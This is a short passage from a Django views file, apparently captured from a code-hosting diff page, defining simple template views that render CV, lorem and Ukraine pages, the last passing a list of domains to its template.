|
|
||||||
return render(request, "cv.html", {})
|
|
||||||
|
|
||||||
class LoremView(TemplateView):
|
|
||||||
|
|
||||||
def get(self, request, *args, **kwargs):
|
|
||||||
return render(request, "lorem.html", {})
|
|
||||||
|
|
||||||
class UkraineView(TemplateView):
|
|
||||||
|
|
||||||
def get(self, request, *args, **kwargs):
|
|
||||||
domains = get_domains()
|
|
||||||
return render(request, "ukraine.html", {"domains" : domains})
|
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue